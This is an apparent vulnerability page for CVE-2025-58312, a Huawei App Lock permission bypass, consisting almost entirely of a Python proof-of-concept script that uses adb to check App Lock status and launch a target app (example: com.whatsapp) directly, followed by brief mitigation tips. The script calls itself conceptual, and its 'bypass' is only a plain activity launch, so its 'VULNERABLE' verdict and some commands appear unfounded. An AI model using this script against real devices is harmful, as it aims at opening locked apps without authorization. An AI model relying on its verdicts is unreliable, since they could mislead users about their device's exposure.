CVE-2025-58312: 华为App Lock模块权限控制漏洞

# CVE-2025-58312 PoC - App Lock Permission Bypass (Conceptual) # This is a conceptual proof-of-concept demonstrating the vulnerability pattern # Actual exploitation requires specific device and firmware version import subprocess import sys import os def check_app_lock_status(): """Check if App Lock feature is enabled""" try: # Query App Lock status via adb result = subprocess.run( ['adb', 'shell', 'dumpsys', 'app', 'lock'], capture_output=True, text=True, timeout=10 ) return 'enabled' in result.stdout.lower() except Exception as e: print(f"[!] Error checking App Lock status: {e}") return None def exploit_vulnerability(target_package): """ Conceptual exploit for CVE-2025-58312 Attempts to bypass App Lock verification for target package Note: This is a conceptual demonstration. Actual exploitation requires specific firmware version and device conditions. """ print(f"[*] Targeting package: {target_package}") print(f"[*] CVE-2025-58312: App Lock Permission Control Bypass") # Step 1: Verify App Lock is enabled if not check_app_lock_status(): print("[-] App Lock is not enabled or not accessible") return False print("[+] App Lock status confirmed") # Step 2: Attempt to trigger the permission bypass # This would involve specific intent manipulation or # direct service call that bypasses authentication try: # Example: Attempt to access protected app via specific intent bypass_cmd = [ 'adb', 'shell', 'am', 'start', '--user', '0', '-n', f'{target_package}/.MainActivity' ] result = subprocess.run( bypass_cmd, capture_output=True, text=True, timeout=10 ) if result.returncode == 0: print("[+] Potential bypass detected - app launched without auth") return True else: print("[-] Bypass attempt failed or app requires authentication") return False except Exception as e: print(f"[!] Exploit error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_58312_poc.py <package_name>") print("Example: python cve_2025_58312_poc.py com.whatsapp") sys.exit(1) target = sys.argv[1] print("="*60) print("CVE-2025-58312 - Huawei App Lock Permission Bypass PoC") print("="*60) success = exploit_vulnerability(target) if success: print("\n[!] VULNERABLE: App Lock bypass successful") print("[!] Immediate action required - update device firmware") else: print("\n[*] Device may not be vulnerable or conditions not met") if __name__ == "__main__": main() # Mitigation: # 1. Update device to latest firmware version # 2. Apply security patches released by Huawei # 3. Avoid using App Lock with highly sensitive applications # 4. Monitor device for unauthorized access